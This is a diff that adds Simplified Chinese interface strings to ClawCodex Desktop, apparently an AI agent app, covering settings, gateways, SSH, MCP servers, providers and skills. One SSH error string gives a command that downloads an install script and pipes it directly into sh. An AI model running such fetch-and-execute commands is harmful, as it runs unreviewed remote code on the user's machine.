+        memoryEnabled: '持久记忆',
+        userProfileEnabled: '用户画像',
+        memoryCharLimit: '记忆预算',
+        userCharLimit: '画像预算',
+        provider: '记忆提供方'
+      },
+      context: {
+        engine: '上下文引擎'
+      },
+      compression: {
+        enabled: '自动压缩',
+        threshold: '压缩阈值',
+        targetRatio: '压缩目标',
+        protectLastN: '保护最近消息'
+      },
+      delegation: {
+        model: '子智能体模型',
+        provider: '子智能体提供方',
+        maxIterations: '子智能体轮次上限',
+        maxConcurrentChildren: '并行子智能体',
+        childTimeoutSeconds: '子智能体超时',
+        reasoningEffort: '子智能体推理强度'
+      },
+      updates: {
+        nonInteractiveLocalChanges: '应用内更新本地更改'
+      }
+    }),
+    fieldDescriptions: defineFieldCopy({
+      model: '用于新对话，除非你在输入框中选择其他模型。',
+      modelContextLength: '保持为 0 则使用所选模型检测到的上下文窗口。',
+      fallbackProviders: '默认模型失败时尝试的备用 provider:model 条目。',
+      display: {
+        personality: '新会话的默认助手风格。',
+        showReasoning: '当后端提供推理内容时予以显示。'
+      },
+      desktop: {
+        repoScanEnabled: '扫描本地文件夹，并在“项目”中显示 Git 代码仓库。',
+        repoScanRoots: '要扫描的文件夹。留空时扫描主目录。',
+        repoScanExcludePaths: '发现代码仓库时跳过这些文件夹及其子目录。'
+      },
+      timezone: '当 ClawCodex 需要本地时间上下文时使用。留空则使用系统时区。',
+      agent: {
+        imageInputMode: '控制图片附件如何发送给模型。',
+        maxTurns: 'ClawCodex 停止一次运行前工具调用轮次的上限。'
+      },
+      terminal: {
+        cwd: '工具与终端操作的默认项目目录。',
+        persistentShell: '当后端支持时，在命令之间保留 Shell 状态。',
+        envPassthrough: '传入工具执行的环境变量。'
+      },
+      codeExecution: {
+        mode: '代码执行被限定到当前项目的严格程度。'
+      },
+      fileReadMaxChars: 'ClawCodex 单次文件读取可读取的最大字符数。',
+      approvals: {
+        mode: 'ClawCodex 如何处理需要显式审批的命令。',
+        timeout: '审批提示在超时前等待的时长。'
+      },
+      security: {
+        redactSecrets: '尽可能从模型可见内容中隐藏检测到的密钥。'
+      },
+      checkpoints: {
+        enabled: '在文件编辑前创建可回滚的快照。'
+      },
+      memory: {
+        memoryEnabled: '保存有助于未来会话的持久记忆。',
+        userProfileEnabled: '维护一份精简的用户偏好画像。'
+      },
+      context: {
+        engine: '在接近上下文上限时管理长对话的策略。'
+      },
+      compression: {
+        enabled: '当对话变大时对较早的上下文进行摘要。'
+      },
+      voice: {
+        autoTts: '自动朗读助手回复。'
+      },
+      stt: {
+        enabled: '启用本地或提供方支持的语音转写。',
+        elevenlabs: {
+          languageCode: '可选的 ISO-639-3 语言代码。留空让 ElevenLabs 自动检测。'
+        }
+      },
+      updates: {
+        nonInteractiveLocalChanges:
+          'ClawCodex 从应用内更新时（无终端提示），保留本地源码修改（暂存）或丢弃（放弃）。通过终端更新时始终会询问。'
+      }
+    }),
+    about: {
+      heading: 'ClawCodex Desktop',
+      version: value => `版本 ${value}`,
+      versionUnavailable: '版本不可用',
+      updates: '更新',
+      checkNow: '立即检查',
+      checking: '检查中…',
+      seeWhatsNew: '查看新增内容',
+      updateNow: '立即更新',
+      releaseNotes: '发行说明',
+      onLatest: '你已是最新版本。',
+      installing: '正在安装更新。',
+      cantUpdate: '此版本无法在应用内自我更新。',
+      cantReach: '无法连接更新服务器。',
+      tapCheck: '点击"立即检查"以查找更新。',
+      updateReady: count => `已准备好新更新 (包含 ${count} 项更改)。`,
+      lastChecked: age => `上次检查:${age}`,
+      justNowSuffix: ' · 刚刚',
+      automaticUpdates: '自动更新',
+      automaticUpdatesDesc: 'ClawCodex 会在后台自动检查更新，并在有可用更新时通知你。',
+      branchCommit: (branch, commit) => `分支 ${branch} · 提交 ${commit}`,
+      never: '从未',
+      justNow: '刚刚',
+      minAgo: count => `${count} 分钟前`,
+      hoursAgo: count => `${count} 小时前`,
+      daysAgo: count => `${count} 天前`
+    },
+    config: {
+      none: '无',
+      noneParen: '(无)',
+      builtinOnly: '仅内置',
+      notSet: '未设置',
+      commaSeparated: '逗号分隔的值',
+      searchPlaceholder: '搜索…',
+      noResults: '未找到结果',
+      systemDefault: '系统默认',
+      loading: '正在加载 ClawCodex 配置...',
+      emptyTitle: '无可配置项',
+      emptyDesc: '此分区没有可调整的设置。',
+      failedLoad: '设置加载失败',
+      autosaveFailed: '自动保存失败',
+      imported: '配置已导入',
+      invalidJson: '配置 JSON 无效',
+      keepAwakeTitle: '保持电脑唤醒',
+      keepAwakeDesc: '阻止本机休眠，让长时间或通宵运行继续进行。屏幕仍可变暗。',
+      attachmentSizeTitle: '预览 / 图片加载大小上限',
+      attachmentSizeDesc:
+        '桌面端为预览和图片附件加载本地文件的大小上限（MB）。默认为 16。远程非图片附件使用单独的 256 MB 上限。设置过大会将整个文件读入内存，可能导致应用卡死或崩溃。',
+      attachmentSizeUnit: 'MB',
+      attachmentSizeLabel: '预览 / 图片加载大小上限（MB）'
+    },
+    quickEntry: {
+      enabledTitle: '快速输入',
+      enabledDesc: '用全局快捷键在任何地方唤出一个小输入框，无需打开 ClawCodex 即可发送提示。',
+      shortcutTitle: '快速输入快捷键',
+      shortcutDesc: '至少需要一个修饰键，例如 CommandOrControl+Shift+Space。',
+      active: '快捷键已生效。',
+      takenBy: '此快捷键已被其他应用占用，请换一个。',
+      invalidShortcut: '不是有效的快捷键。请至少包含一个修饰键。'
+    },
+    credentials: {
+      pasteKey: '粘贴密钥',
+      pasteLabelKey: label => `粘贴 ${label} 密钥`,
+      optional: '可选',
+      enterValueFirst: '请先输入一个值。',
+      couldNotSave: '无法保存凭据。',
+      remove: '移除',
+      getKey: '获取密钥',
+      saving: '保存中'
+    },
+    envActions: {
+      actions: '操作',
+      manageInKeys: '在 API 密钥中管理',
+      docs: '文档',
+      hideValue: '隐藏值',
+      revealValue: '显示值',
+      replace: '替换',
+      set: '设置',
+      clear: '清除'
+    },
+    gateway: {
+      loading: '正在加载网关设置...',
+      unavailableTitle: '网关设置不可用',
+      unavailableDesc: '桌面 IPC 桥未暴露网关设置。',
+      title: '网关连接',
+      envOverride: '环境变量覆盖',
+      intro:
+        'ClawCodex Desktop 默认会启动自己的本地网关。当你希望此应用控制另一台机器上或可信代理后的现有 ClawCodex 后端时，可以使用远程网关。下面可按 profile 指定各自的远程主机。',
+      appliesTo: '应用于',
+      allProfiles: '所有 profile',
+      defaultConnection: '默认连接会用于所有没有自定义覆盖的 profile。',
+      profileConnection: profile => `仅当“${profile}”是当前 profile 时使用此连接。选择“使用默认网关”可移除其覆盖。`,
+      envOverrideTitle: '环境变量正在控制此桌面会话。',
+      envOverrideDesc: '取消设置 CLAWCODEX_DESKTOP_REMOTE_URL 和 CLAWCODEX_DESKTOP_REMOTE_TOKEN 后才会使用下面保存的设置。',
+      modeTitle: '连接模式',
+      localTitle: '本地网关',
+      localDesc: '在 localhost 启动私有 ClawCodex 后端。这是默认方式，并且可离线工作。',
+      inheritTitle: '使用默认网关',
+      inheritDesc: '移除此 profile 的自定义覆盖并使用默认连接。',
+      remoteTitle: '远程网关',
+      remoteDesc: '将此桌面外壳连接到远程 ClawCodex 后端。',
+      remoteAuthHint: '托管网关使用 OAuth 或用户名密码；自托管网关也可能使用会话 token。',
+      cloudTitle: 'ClawCodex Cloud',
+      cloudDesc: '只需登录 ClawCodex Cloud 一次，即可从你账户下的智能体中选择——无需粘贴 URL。',
+      cloudSignInTitle: 'ClawCodex Cloud',
+      cloudSignIn: '登录 ClawCodex Cloud',
+      cloudSignedIn: '已登录 ClawCodex Cloud',
+      cloudNeedsSignIn: '登录 ClawCodex Cloud 以发现你账户下的智能体。',
+      cloudSignedInDesc: '你已登录。在下方选择一个智能体；会话会自动刷新。',
+      cloudAgentsTitle: '你的智能体',
+      cloudOrgPickerTitle: '选择一个组织',
+      cloudOrgSelect: '选择',
+      cloudOrgChange: '切换组织',
+      cloudOrgRole: role => `角色：${role}`,
+      cloudLoadingAgents: '正在加载你的智能体…',
+      cloudNoAgents: {
+        before: '此账户下未找到智能体。请在',
+        linkText: 'Nous 门户',
+        after: '中创建一个，然后刷新。'
+      },
+      cloudRefresh: '刷新',
+      cloudConnect: '连接',
+      cloudConnecting: '正在连接…',
+      cloudDiscoverFailed: '无法加载你的 ClawCodex Cloud 智能体',
+      cloudConnectFailed: '无法连接到该智能体',
+      cloudSignInFailed: 'ClawCodex Cloud 登录失败',
+      cloudSignedOutTitle: '已退出 ClawCodex Cloud',
+      cloudSignedOutMessage: '已清除 ClawCodex Cloud 会话。',
+      cloudConnectedTitle: '已连接',
+      cloudConnectedPill: '已连接',
+      cloudConnectedTo: name => `已连接到 ${name}。`,
+      cloudAgentProvisioning: '正在配置…',
+      cloudStatusLabel: status => `状态：${status}`,
+      remoteUrlTitle: '远程 URL',
+      remoteUrlDesc: '远程 dashboard 后端的基础 URL。支持路径前缀，例如 /clawcodex。',
+      probing: '正在检查此网关的认证方式…',
+      probeError: '暂时无法访问此网关。请检查 URL；网关响应后会显示认证方式。',
+      signedIn: '已登录',
+      signIn: '登录',
+      signOut: '退出登录',
+      signInWith: provider => `使用 ${provider} 登录`,
+      authTitle: '认证',
+      authSignedInPassword: '此网关使用用户名和密码。你已登录，会话会自动刷新。',
+      authSignedInOauth: '此网关使用 OAuth。你已登录，会话会自动刷新。',
+      authNeedsPassword: '此网关使用用户名和密码。请登录以授权此桌面应用。',
+      authNeedsOauth: provider => `此网关使用 OAuth。请使用 ${provider} 登录以授权此桌面应用。`,
+      tokenTitle: '会话 token',
+      tokenDesc: '用于 REST 和 WebSocket 访问的 dashboard 会话 token。留空则保留已保存的 token。',
+      existingToken: value => `现有 token ${value}`,
+      savedToken: '已保存',
+      pasteSessionToken: '粘贴会话 token',
+      testRemote: '测试远程',
+      saveForRestart: '保存到下次重启',
+      saveAndReconnect: '保存并重连',
+      diagnostics: '诊断',
+      diagnosticsDesc: '在文件管理器中显示 desktop.log，网关启动失败时很有用。',
+      openLogs: '打开日志',
+      incompleteTitle: '远程网关配置不完整',
+      incompleteSignIn: '切换到远程前，请输入远程 URL 并完成登录。',
+      incompleteToken: '切换到远程前，请输入远程 URL 和会话 token。',
+      incompleteSignInTest: '测试前，请输入远程 URL 并完成登录。',
+      incompleteTokenTest: '测试前，请输入远程 URL 和会话 token。',
+      enterUrlFirst: '请先输入远程 URL。',
+      restartingTitle: '网关连接正在重启',
+      savedTitle: '网关设置已保存',
+      restartingMessage: 'ClawCodex Desktop 将使用已保存设置重新连接（界面保持打开）。',
+      savedMessage: '已保存，下一次重启生效。',
+      connectedTo: (baseUrl, version) => `已连接到 ${baseUrl}${version ? ` · ClawCodex ${version}` : ''}`,
+      reachableTitle: '远程网关可访问',
+      signedOutTitle: '已退出登录',
+      signedOutMessage: '已清除远程网关会话。',
+      failedLoad: '网关设置加载失败',
+      signInFailed: '登录失败',
+      signOutFailed: '退出登录失败',
+      testFailed: '远程网关测试失败',
+      applyFailed: '无法应用网关设置',
+      saveFailed: '无法保存网关设置',
+      sshTitle: '通过 SSH 连接',
+      sshDesc:
+        'ClawCodex 会通过 SSH 在远程启动并以隧道连接到本应用——无需自行启动或暴露任何服务。前提：已具备到该主机的密钥 SSH 访问。',
+      sshTrustHint: '首次提供的主机密钥会被信任并固定；后续变更将被拒绝。',
+      sshHostTitle: '主机',
+      sshHostDesc: 'user@host，或 ~/.ssh/config 中的 Host 别名。',
+      sshHostPick: '选择主机…',
+      sshHostPickTitle: '主机',
+      sshHostPickDesc: '~/.ssh/config 中的 Host 别名，或选择"自定义"手动输入。',
+      sshHostCustom: '自定义（手动输入）…',
+      sshUserTitle: '用户',
+      sshUserDesc: '留空 = ~/.ssh/config 或当前用户。',
+      sshUserPlaceholder: '来自 ~/.ssh/config',
+      sshPortTitle: '端口',
+      sshPortDesc: '留空 = 22 或 ~/.ssh/config 中的端口。',
+      sshKeyTitle: '密钥文件',
+      sshKeyDesc: '私钥路径。留空 = ssh-agent 或 ~/.ssh/config。',
+      sshClawCodexPathTitle: 'ClawCodex 路径（可选）',
+      sshClawCodexPathDesc: '远程 clawcodex 可执行文件的完整路径。留空 = 自动检测。',
+      sshClawCodexPathPlaceholder: '自动检测',
+      sshRemoteProfileTitle: '远程配置文件（可选）',
+      sshRemoteProfileDesc: '远程主机上的配置文件名称。留空 = 使用 Desktop 配置文件名称。',
+      sshTestConnection: '测试 SSH',
+      sshConnect: '连接',
+      sshButtonsHint: '“保存”将在下次启动时生效，“连接”则立即重新连接。',
+      sshReachable: (host, platform) => `可连接：${host}（${platform}）——已找到 ClawCodex`,
+      sshIncompleteHost: '连接前请输入 SSH 主机。',
+      sshErrUnreachable: '无法通过 SSH 连接到该主机。请检查主机、端口和网络。',
+      sshErrAuth:
+        'SSH 认证失败。请将密钥加载到 ssh-agent（ssh-add），或在 ~/.ssh/config 中设置 IdentityFile——ClawCodex 以非交互方式运行 ssh。',
+      sshErrHostKey: '自上次连接以来主机密钥已更改。请确认这是预期的，然后运行 ssh-keygen -R <host> 并重新连接。',
+      sshErrNotInstalled:
+        '远程主机上未安装 ClawCodex。请在远程安装（curl -fsSL https://github.com/agentforce314/clawcodex/install.sh | sh）或设置 ClawCodex 路径。',
+      sshErrPlatform: '不支持的远程平台。ClawCodex Desktop 的 SSH 模式支持 Linux、macOS 和 Windows 远程主机。',
+      sshErrTimeout: 'SSH 连接超时。主机可能无法访问或处于休眠状态。',
+      sshErrUpdateRequired: '使用 Desktop SSH 连接前，请更新远程主机上的 ClawCodex。',
+      sshErrUnknown: 'SSH 连接失败。'
+    },
+    keys: {
+      loading: '正在加载 API 密钥和凭据...',
+      failedLoad: 'API 密钥加载失败',
+      empty: '此类别暂时没有配置项。'
+    },
+    mcp: {
+      loading: '正在加载 MCP 服务器...',
+      failedLoad: 'MCP 配置加载失败',
+      nameRequiredTitle: '需要名称',
+      nameRequiredMessage: '请为此 MCP 服务器提供配置键。',
+      objectRequired: '服务器配置必须是 JSON 对象',
+      invalidJson: 'MCP JSON 无效',
+      saveFailed: '保存失败',
+      removeFailed: '移除失败',
+      gatewayUnavailableTitle: '网关不可用',
+      gatewayUnavailableMessage: '重新加载 MCP 前请先重连网关。',
+      reloadedTitle: 'MCP 工具已重新加载',
+      reloadedMessage: '新的工具 schema 将应用到后续回合。',
+      reloadFailed: 'MCP 重新加载失败',
+      savedTitle: 'MCP 服务器已保存',
+      savedMessage: name => `${name} 会在 MCP 重新加载后生效。`,
+      newServer: '新服务器',
+      reload: '重新加载 MCP',
+      reloading: '重新加载中...',
+      emptyTitle: '没有 MCP 服务器',
+      emptyDesc: '添加 stdio 或 HTTP 服务器以暴露 MCP 工具。',
+      disabled: '已禁用',
+      editServer: '编辑服务器',
+      name: '名称',
+      serverJson: '服务器 JSON',
+      remove: '移除',
+      saveServer: '保存服务器',
+      test: '测试连接',
+      testing: '测试中…',
+      testOk: count => `已连接 — ${count} 个工具可用`,
+      testFailed: '连接失败',
+      enableServer: name => `启用 ${name}`,
+      disableServer: name => `禁用 ${name}`,
+      serverEnabled: name => `${name} 已启用 — 对新会话生效。`,
+      serverDisabled: name => `${name} 已禁用 — 对新会话生效。`,
+      toggleFailed: (name, enabled) => `${enabled ? '开启' : '关闭'} ${name} 失败`,
+      tabServers: '服务器',
+      tabCatalog: '目录',
+      catalogLoading: '正在加载 MCP 目录…',
+      catalogLoadFailed: 'MCP 目录加载失败',
+      catalogEmpty: '没有可用的目录条目。',
+      catalogInstalled: '已安装',
+      catalogEnabled: '已启用',
+      catalogNeedsInstall: '需要构建',
+      catalogInstall: '安装',
+      catalogInstalling: '安装中…',
+      catalogInstallStarted: name => `正在安装 ${name}… 完成后对新会话生效。`,
+      catalogInstallFailed: name => `安装 ${name} 失败`,
+      catalogEnvPrompt: name => `${name} 需要凭据`,
+      catalogEnvRequired: '安装前请填写必需的值。',
+      capabilitySummary: (tools, prompts, resources) =>
+        `已启用 ${[`${tools} 个工具`, ...(prompts ? [`${prompts} 个提示`] : []), ...(resources ? [`${resources} 个资源`] : [])].join('、')}`,
+      statusConnecting: '连接中…',
+      statusNeedsAuth: '需要认证',
+      statusError: '错误',
+      statusOff: '关闭',
+      allServers: '所有服务器',
+      authenticatedTitle: '已认证',
+      authenticatedMessage: (server, count) => `${server}：${count} 个工具`,
+      waitingForBrowser: '等待浏览器…',
+      authenticate: '认证',
+      unsavedConnect: '未保存 — 保存 mcp.json 以连接。',
+      enableTool: tool => `启用 ${tool}`,
+      disableTool: tool => `禁用 ${tool}`,
+      noOutput: '暂无输出。'
+    },
+    model: {
+      loading: '正在加载模型配置...',
+      appliesDesc: '应用于新会话。可在输入框的模型选择器中临时切换当前对话。',
+      provider: '提供方',
+      model: '模型',
+      applying: '应用中...',
+      defaultsLabel: '默认值',
+      reasoning: '推理',
+      reasoningOff: '关闭',
+      defaultsFailed: '保存模型默认值失败',
+      auxiliaryTitle: '辅助模型',
+      resetAllToMain: '全部重置为主模型',
+      auxiliaryDesc: '辅助任务默认使用主模型。你可以为任意任务指定专用模型。',
+      setToMain: '设为主模型',
+      change: '更改',
+      autoUseMain: '自动 · 使用主模型',
+      providerDefault: '(提供方默认)',
+      fallbackAdd: '添加备用模型',
+      fallbackEmpty: '未配置备用模型 — 默认模型失败时才会使用备用模型。',
+      notInCatalog: '不在该提供方的模型列表中 — 调用可能回退到备用模型。',
+      tasks: {
+        vision: { label: '视觉', hint: '图片分析' },
+        web_extract: { label: '网页提取', hint: '页面总结' },
+        compression: { label: '压缩', hint: '上下文压缩' },
+        skills_hub: { label: '技能中心', hint: '技能搜索' },
+        approval: { label: '审批', hint: '智能自动批准' },
+        mcp: { label: 'MCP', hint: 'MCP 工具路由' },
+        title_generation: { label: '标题生成', hint: '会话标题' },
+        curator: { label: '维护器', hint: '技能使用审查' }
+      }
+    },
+    providers: {
+      connectAccount: '连接账号',
+      haveApiKey: '改用 API 密钥？',
+      intro: '使用订阅登录，无需复制 API 密钥。ClawCodex 会在应用中为你完成浏览器登录。',
+      connected: '已连接',
+      collapse: '收起',
+      connectAnother: '连接其他提供方',
+      otherProviders: '其他提供方',
+      disconnect: '断开连接',
+      disconnectInTerminal: '断开连接（在终端中运行移除命令）',
+      removeConfirm: provider => `移除 ${provider}？`,
+      removeExternalGeneric: provider => `${provider} 由其自身的 CLI 管理 — 请在那里移除。`,
+      removeKeyManaged: provider => `${provider} 由 API 密钥配置。请从 API Keys 中移除。`,
+      removeTerminalConfirm: (provider, command) => `断开 ${provider}？这将在终端中运行 "${command}" 以清除凭据。`,
+      removeTerminalRunning: provider => `正在终端中断开 ${provider}…`,
+      removedTitle: '账号已移除',
+      removedMessage: provider => `${provider} 已移除。`,
+      failedRemove: provider => `无法移除 ${provider}`,
+      noProviderKeys: '没有可用的提供方 API 密钥。',
+      searchKeys: '搜索提供方…',
+      noKeysMatch: '没有匹配的提供方。',
+      localEndpoint: {
+        title: '本地 / 自定义端点',
+        description: '将 ClawCodex 指向任意 OpenAI 兼容端点（Zyphra、vLLM、llama.cpp、Ollama 等）。'
+      },
+      loading: '正在加载提供方...'
+    },
+    sessions: {
+      loading: '正在加载已归档会话…',
+      archivedTitle: '已归档会话',
+      archivedIntro: '已归档对话会从侧边栏隐藏，但会保留全部消息。在侧边栏 Ctrl/⌘ 点击对话即可归档。',
+      emptyArchivedTitle: '暂无归档',
+      emptyArchivedDesc: '归档一个对话后会显示在这里。',
+      unarchive: '取消归档',
+      deletePermanently: '永久删除',
+      messages: count => `${count} 条消息`,
+      restored: '已恢复',
+      deleteConfirm: title => `永久删除“${title}”？此操作无法撤销。`,
+      autoArchiveTitle: '自动归档闲置会话',
+      autoArchiveDesc:
+        '自动归档你一段时间未使用的会话。已置顶的会话永远不会被归档，也不会删除任何内容——归档的会话会移动到这里。',
+      autoArchiveDaysLabel: '归档前',
+      autoArchiveDaysUnit: '天无活动',
+      autoArchiveFailed: '无法更新自动归档设置',
+      defaultDirTitle: '默认项目目录',
+      defaultDirDesc: '新会话默认从此文件夹开始，除非你选择其他目录。留空则使用你的 home 目录。',
+      defaultDirUpdated: '默认项目目录已更新',
+      defaultsTo: label => `默认使用 ${label}。`,
+      change: '更改',
+      choose: '选择',
+      clear: '清除',
+      notSet: '未设置',
+      failedLoad: '无法加载已归档会话',
+      unarchiveFailed: '取消归档失败',
+      deleteFailed: '删除失败',
+      updateDirFailed: '无法更新默认目录',
+      clearDirFailed: '无法清除默认目录'
+    },
+    toolsets: {
+      loadingConfig: '正在加载配置',
+      savedTitle: '凭据已保存',
+      savedMessage: key => `${key} 已更新。`,
+      removedTitle: '凭据已移除',
+      removedMessage: key => `${key} 已移除。`,
+      failedSave: key => `保存 ${key} 失败`,
+      failedRemove: key => `移除 ${key} 失败`,
+      failedReveal: key => `显示 ${key} 失败`,
+      removeConfirm: key => `从 .env 中移除 ${key}？`,
+      set: '已设置',
+      notSet: '未设置',
+      selectedTitle: '已选择提供方',
+      selectedMessage: provider => `${provider} 现在处于活动状态。`,
+      failedSelect: provider => `选择 ${provider} 失败`,
+      failedLoad: '工具配置加载失败',
+      noProviderOptions: '此工具集没有提供方选项；启用后即可使用当前配置。',
+      noProviders: '此工具集当前没有可用提供方。',
+      ready: '就绪',
+      needsSignIn: '需要登录',
+      needsSetup: '需要安装',
+      activeBackend: '当前后端',
+      activeBackendHint: '这是你当前使用的后端',
+      useBackend: '使用此后端',
+      nousIncluded: '包含在 Nous 订阅中；登录 Nous Portal 即可激活。',
+      nousAuthNeededTitle: '登录 Nous Portal',
+      nousAuthNeededMessage: provider => `已保存 ${provider}，但在登录 Nous Portal 之前不会激活。`,
+      nousAuthSignIn: '登录',
+      nousAuthDoneTitle: '已连接 Nous Portal',
+      nousAuthDoneMessage: '订阅后端现已激活。',
+      nousAuthFailed: 'Nous Portal 登录未完成',
+      noApiKeyRequired: '不需要 API 密钥。',
+      postSetupHint: step => `此后端需要一次性安装 (${step})。将在此机器上执行，可能需要几分钟。`,
+      postSetupInstalledHint: '已安装。仅在出现问题时才需要重新运行安装。',
+      postSetupRun: '运行设置',
+      postSetupRerun: '重新运行设置',
+      postSetupInstalled: '已安装',
+      postSetupRunning: '安装中…',
+      postSetupStarting: '启动中…',
+      postSetupCompleteTitle: '设置完成',
+      postSetupCompleteMessage: step => `已安装 ${step}。`,
+      postSetupErrorTitle: '设置完成但有错误',
+      postSetupErrorMessage: step => `请检查 ${step} 日志。`,
+      postSetupFailed: step => `运行 ${step} 设置失败`,
+      webSearchActive: backend => `搜索：${backend}`,
+      webExtractActive: backend => `提取：${backend}`,
+      webCapabilityUnset: '未设置',
+      webUseForSearch: '用于搜索',
+      webUseForExtract: '用于提取',
+      webUsedForSearch: '搜索后端',
+      webUsedForExtract: '提取后端',
+      webCapabilitySelectedMessage: (provider, capability) =>
+        `${provider} 现在负责网页${capability === 'search' ? '搜索' : '提取'}。`,
+      failedSelectCapability: provider => `无法设置 ${provider}`,
+      loadingModels: '正在加载模型目录…',
+      modelSectionTitle: '模型',
+      modelCount: count => `${count} 个模型`,
+      modelInUse: '使用中',
+      modelDefault: '默认',
+      modelInactiveHint: '请先选择此后端，然后再更改其模型。',
+      modelSelectedTitle: '模型已选择',
+      modelSelectedMessage: model => `${model} 将应用于新会话。`,
+      failedSelectModel: model => `选择 ${model} 失败`,
+      terminalBackend: {
+        sectionTitle: '执行后端',
+        loading: '正在检查执行后端…',
+        failedLoad: '无法加载终端后端',
+        ready: '就绪',
+        needsSetup: '需要设置',
+        unavailable: '不可用',
+        inUse: '使用中',
+        selectedTitle: '已选择后端',
+        selectedMessage: backend => `终端命令现在通过 ${backend} 运行。将应用于新会话。`,
+        failedSelect: backend => `选择 ${backend} 失败`,
+        needsSetupHint: '现在即可选择此后端——但在完成设置前命令将会失败。'
+      }
+    }
+  },
+
+  skills: {
+    tabSkills: '技能',
+    tabToolsets: '工具集',
+    tabMcp: 'MCP',
+    tabHub: '浏览技能中心',
+    all: '全部',
+    searchSkills: '搜索技能…',
+    searchToolsets: '搜索工具集…',
+    refresh: '刷新技能',
+    refreshing: '正在刷新技能',
+    loading: '正在加载能力…',
+    noSkillsTitle: '未找到技能',
+    noSkillsDesc: '尝试更宽泛的搜索或其他分类。',
+    noToolsetsTitle: '未找到工具集',
+    noToolsetsDesc: '尝试更宽泛的搜索词。',
+    noDescription: '暂无描述。',
+    configured: '已配置',
+    needsKeys: '需要密钥',
+    visionModelHint: '视觉功能使用你的辅助模型配置——支持图像的模型在那里选择，而不是在此处按提供商选择。',
+    visionModelLink: '在 设置 → 模型 中选择视觉模型',
+    toolsetsEnabled: (enabled, total) => `已启用 ${enabled}/${total} 个工具集`,
+    configureToolset: label => `配置 ${label}`,
+    toggleToolset: (label, enabled) => `${enabled ? '开启' : '关闭'} ${label} 工具集`,
+    skillsLoadFailed: '技能加载失败',
+    toolsetsRefreshFailed: '工具集刷新失败',
+    skillEnabled: '技能已启用',
+    skillDisabled: '技能已禁用',
+    toolsetEnabled: '工具集已启用',
+    toolsetDisabled: '工具集已禁用',
+    appliesToNewSessions: name => `${name} 将应用于新会话。`,
+    failedToUpdate: name => `更新 ${name} 失败`,
+    sortMostUsed: '最常用',
+    sortAlpha: 'A–Z',
+    sortMostUsedDesc: '↓ 最常用',
+    sortLeastUsedAsc: '↑ 最少用',
+    enableAll: '全部启用',
+    disableAll: '全部停用',
+    disableUnused: '禁用未使用',
+    bulkUpdated: count => `已为新会话更新 ${count} 项。`,
+    bulkNoChange: '没有需要更改的内容。',
+    usageCount: count => `已使用 ${count} 次`,
+    provenance: {
+      agent: '习得',
+      bundled: '内置',
+      hub: '技能中心'
+    },
+    emptyNoneFound: noun => `未找到${noun}`,
+    emptyNothingMatches: query => `没有匹配“${query}”的内容。`,
+    emptyNoneAvailable: noun => `暂无可用的${noun}。`,
+    changesApplyNewSessions: '更改将应用于新会话。',
+    skillUpdated: '技能已更新',
+    edit: '编辑',
+    archive: '归档',
+    skillArchivedTitle: '技能已归档',
+    skillArchivedMessage: '可通过 clawcodex curator restore 恢复。',
+    hub: {
+      searchPlaceholder: '搜索技能中心',
+      search: '搜索',
+      searching: '搜索中…',
+      connectingHubs: '正在连接技能中心…',
+      connectedHubs: '已连接的来源：',
+      featured: '精选技能',
+      landingHint: '搜索技能中心，浏览来自官方索引、GitHub 和社区来源的可安装技能。',
+      noResults: '技能中心没有匹配的技能。',
+      resultCount: (count, ms) => `${count} 个结果${ms !== null ? `（${ms}ms）` : ''}`,
+      timedOut: sources => `超时：${sources}`,
+      installed: '已安装',
+      install: '安装',
+      installing: '安装中…',
+      uninstall: '卸载',
+      uninstalling: '卸载中…',
+      updateAll: '更新已安装',
+      updating: '更新中…',
+      preview: '预览',
+      scan: '扫描',
+      scanning: '扫描中…',
+      close: '关闭',
+      files: '文件',
+      noReadme: '该技能没有 SKILL.md 预览。',
+      trust: {
+        builtin: '内置',
+        trusted: '可信',
+        community: '社区'
+      },
+      verdictSafe: '安全',
+      verdictCaution: '注意',
+      verdictDangerous: '危险',
+      policyAllow: '允许安装',
+      policyAsk: '安装前请复查',
+      policyBlock: '安装被策略阻止',
+      findings: count => `${count} 项发现`,
+      noFindings: '无安全发现。',
+      installStarted: name => `正在安装 ${name}…`,
+      uninstallStarted: name => `正在卸载 ${name}…`,
+      updateStarted: '正在更新已安装技能…',
+      actionFailed: '技能操作失败',
+      actionLog: '操作日志',
+      loadFailed: '技能中心加载失败',
+      previewFailed: '技能预览失败',
+      scanFailed: '安全扫描失败',
+      searchFailed: '技能中心搜索失败'
+    }
+  },
+
+  starmap: {
+    title: '记忆图谱',
+    subtitle: (nodes, clusters) => `${clusters} 个类别中的 ${nodes} 个技能`,
+    close: '关闭记忆图谱',
+    refresh: '刷新',
+    memory: '记忆',
+    filterAll: '全部',
+    filterUsed: '已使用',
+    filterLearned: '已学习',
+    viewGraph: '图谱',
+    loadFailed: '无法加载记忆图谱',
+    loading: '加载中…',
+    emptyTitle: '尚无学习内容',
+    emptyDesc: '当 ClawCodex 为你的工作构建技能和记忆时，会显示在这里。',
+    share: '分享图谱',
+    shareHint: '复制代码以分享此图谱，或粘贴代码以载入。仅包含布局，不含你的记忆或技能内容。',
+    shareTitle: '导入 / 导出图谱',
+    sharePlaceholder: '粘贴图谱代码…',
+    copy: '复制图谱代码',
+    copied: '已复制！',
+    importMap: '导入图谱',
+    importBtn: '加载',
+    importEmpty: '粘贴图谱代码以加载。',
+    importSuccess: nodes => `已加载包含 ${nodes} 个节点的图谱。`,
+    importedBadge: '导入的图谱',
+    resetToMine: '返回我的图谱'
+  },
+  agents: {
+    close: '关闭代理',
+    title: '派生树',
+    subtitle: '当前回合的子代理实时活动。',
+    emptyTitle: '暂无活跃子代理',
+    emptyDesc: '当某个回合派发任务时，子代理会在此实时显示进度。',
+    running: '运行中',
+    failed: '失败',
+    done: '完成',
+    streaming: '流式传输',
+    files: '文件',
+    moreFiles: count => `还有 ${count} 个文件`,
+    delegation: index => `派发 ${index}`,
+    workers: count => `${count} 个工作单元`,
+    workersActive: count => `${count} 个活跃`,
+    agentsCount: count => `${count} 个代理`,
+    activeCount: count => `${count} 个活跃`,
+    failedCount: count => `${count} 个失败`,
+    toolsCount: count => `${count} 个工具`,
+    filesCount: count => `${count} 个文件`,
+    updatedAgo: age => `更新于 ${age}`,
+    ageNow: '刚刚',
+    ageSeconds: seconds => `${seconds} 秒前`,
+    ageMinutes: minutes => `${minutes} 分钟前`,
+    ageHours: hours => `${hours} 小时前`,
+    ageDays: days => `${days} 天前`,
+    durationSeconds: seconds => `${seconds} 秒`,
+    durationMinutes: (minutes, seconds) => `${minutes} 分 ${seconds} 秒`,
+    tokens: value => `${value} 词元`
+  },
+
+  commandCenter: {
+    close: '关闭命令中心',
+    paletteTitle: '命令面板',
